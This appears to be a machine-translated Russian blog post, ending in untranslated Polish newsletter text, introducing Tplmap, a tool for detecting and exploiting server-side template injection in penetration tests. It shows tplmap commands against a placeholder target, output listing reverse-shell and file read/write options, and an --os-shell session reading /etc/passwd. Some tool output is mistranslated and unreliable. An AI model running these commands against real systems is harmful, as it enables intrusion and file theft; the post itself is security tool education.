Tplmap — идентификация и использование шаблонизатора

Тплмап

При выполнении теста на проникновение веб-страницы, которая создает динамическое содержимое с помощью шаблонов с пользовательскими значениями, может возникнуть уязвимость внедрения шаблонов на стороне сервера. Ручная идентификация движка шаблонов, с которым вы имеете дело, и последующая эксплуатация могут быть легко автоматизированы с помощью инструмента Tplmap.

Tplmap способен обнаруживать и использовать SSTI в нескольких типах шаблонных движков. Он обладает такими функциональными возможностями, как просмотр файловой системы и удаленное выполнение команд на атакуемом сервере.

$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Тплмап 0.5
    Инструмент автоматического обнаружения и эксплуатации внедрения шаблонов на стороне сервера

[+] Проверка того, является ли параметр GET 'name' инъекционным
[+] Плагин Smarty тестирует рендеринг с тегом '{*}'
[+] Плагин Smarty тестирует слепую инъекцию
[+] Плагин Mako тестирует рендеринг с тегом '${*}'
...
[+] Плагин Jinja2 тестирует рендеринг с тегом '{{*}}'
[+] Плагин Jinja2 подтвердил инъекцию с тегом '{{*}}'
[+] Tplmap определил следующую точку инъекции:

Параметр GET: имя
  Двигатель: Jinja2
  Инъекция: {{*}}
  Контекст: текст
  ОС: linux
  Техника: рендеринг
  Возможности:

Выполнение команды оболочки: прибл.
   Связывание и обратная оболочка: прибл.
   Запись файла: ok
   Файл прочитан: ok
   Оценка кода: хорошо, код python

[+] Повторно запустите tplmap, предоставив один из следующих вариантов:

--os-shell Запустить оболочку по цели
    --os-cmd Выполнение команд оболочки
    --bind-shell PORT Подключение к оболочке Привязка к целевому порту
    --reverse-shell HOST PORT Отправка оболочки обратно на порт злоумышленника
    --загрузка ЛОКАЛЬНОЙ УДАЛЕННОЙ загрузки файлов на сервер
    --загрузка УДАЛЕННОГО ЛОКАЛЬНОГО Загрузка удаленных файлов

Используйте параметр --os-shell для запуска псевдотерминала на целевом объекте.

$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Тплмап 0.5
    Инструмент автоматического обнаружения и эксплуатации внедрения шаблонов на стороне сервера

[+] Выполняйте команды в операционной системе.

Linux $ whoami
паутина
linux $ cat /etc/passwd
корень:/корень:/bin/bash
демон:x:1:1:демон:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

Tplmap поддерживает более 15 шаблонистров:

ДвигателяУдаленное выполнение командслепойОценка кодаЧтение файлаЗапись в файл
Макопитон
Джинджа2питон
Python (код eval)питон
торнадопитон
Нунджукс, КентуккиJavaScript
мопсJavaScript
точкаJavaScript
МаркоJavaScript
JavaScript (код eval)JavaScript
Пыль (<= [email protected])JavaScript
ЭйСJavaScript
Рубин (код eval)рубин
тонкийрубин
эрбийрубин
Смарти (незащищенный)PHP
PHP (код eval)PHP
Веточка (<=1.19)PHP
Фримаркер×
Скорость, Новинка×
Веточка (>1.19)×××××
Смарти (защищенный)×××××
Пыль (> [email protected])×××××

Tplmap можно найти на github создателя — tplmap.

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!). <br> Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Закладка Постоянная ссылка.

Podziel się swoją opinią na temat artykułu